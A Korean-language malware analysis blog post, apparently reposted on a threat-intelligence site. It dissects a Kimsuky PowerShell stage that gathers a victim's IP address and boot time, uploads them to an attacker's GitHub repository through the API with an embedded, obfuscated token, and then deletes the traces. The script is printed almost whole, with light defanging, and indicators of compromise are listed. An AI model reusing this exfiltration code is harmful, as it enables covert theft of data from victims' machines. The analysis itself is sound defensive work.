lazarusholic

Everyday is lazarus.dayβ

북한 김수키(Kimsuky)에서 제작한 악성코드-ofx.txt(2025.6.11)

2025-09-16, Sakai
https://wezard4u.tistory.com/429598
#Kimsuky

Contents

오늘은 지난 시간에 이어서 오늘은 북한 김수키(Kimsuky) 조직이 만든 악성코드인 Update Schedule_INVITATION - 250625 UNC Ambassador_s Roundtable.zip에서 마지막 GitHub Raw에 있는 ofx(.)txt 파일 부분이 알아보겠습니다.
파일명:ofx.txt
사이즈:1,135 Bytes
MD5:6bb053ca180dcbc3e1d37b2e6ec1cdf1
SHA-1:932f33336632a388c2d2cfb0560c7730361d7203
SHA-256:59ed600b44adc7cb5ac2156e4ff683a7d04ca6ef097678d625764efc2965d0f0
PowerShell 스크립트
ipAddress = (Get-W???ject Win32_Netwo????pterConfiguration | Where-???ect { $_.IP??dress -ne $null }).IPAddress[0]
$currentTime = Get?ate -Format "MMdd_HHmm"
$fileName = "$ipAddre?s-$currentTime-XXX-kkk.txt"
$srcPath = Join-Path $e?v:appdata $fileName
(Get-CimInstance Win32_Op??atingSystem).LastBootUpTime | Out-File -FilePath $srcPath
$localFilePath = $srcPath
$apiUrl = "htt"(+)"ps"(+)":/"(+)"/a" (+) "pi(.)g" (+) "ith" (+) "ub.com/re" + "pos/landjhon/world/contents/tony/" (+) $fileName
$githubToken = "gh"(+)"p_9"(+)"f"(+)"x"(+)"xSJ"(+)"M"(+)"M"(+)"vI"(+)"hd"(+)"W"(+)"IK"(+)"v"(+)"t"(+)"zY"(+)"x"(+)"w6"(+)"LX"(+)"jE"(+)"i"(+)"F"(+)"Nj"(+)"4UU"(+)"tv"(+)"X"
$ttttpp = $env:APPDATA
$fileContent = Get-Content -Path $localFilePath -Encoding Byte
$fileContentBase64 = [Convert]::ToBase64String($fileContent)
$body = @{
message = "Upl(o)ad file $fileName"
content = $fileCo(n)tentBase64
branch = "main"
}
$headers = @{
"Authorization" = "tok(e)n $githubToken"
"Content-Type" = "applica(t)ion/json"
}
$response = Invoke-RestMe(t)hod -Uri $apiUrl -Method Put -Body ($body | ConvertTo-Json)
-Headers $headers
Remove-Item -Path $srcP(a)th -Force;
악성코드 분석
시스템 정보를 수집해 GitHub에 업로드 하고 흔적을 지우는 데이터 하는 목적이 있는 스크립트입니다.
1.파일 이름 생성
Win32_NetworkAdapterConfiguration 에서 첫 번째 IP 주소 가져옴
현재 시각을 MMdd_HHmm 형식으로 포맷
최종 파일명:(IP)-(시각)-XXX-kkk(.)txt
2.OS 부팅 시간 저장
Get-CimInstance Win32_OperatingSystem->LastBootUpTime 값을 확인
%APPDATA%\(파일명) 경로에 저장
3.GitHub API 호출 준비
파일을 Base64로 인코딩
헤더에 GitHub Personal …

IoC

45.32.133.19
59ed600b44adc7cb5ac2156e4ff683a7d04ca6ef097678d625764efc2965d0f0
6bb053ca180dcbc3e1d37b2e6ec1cdf1
932f33336632a388c2d2cfb0560c7730361d7203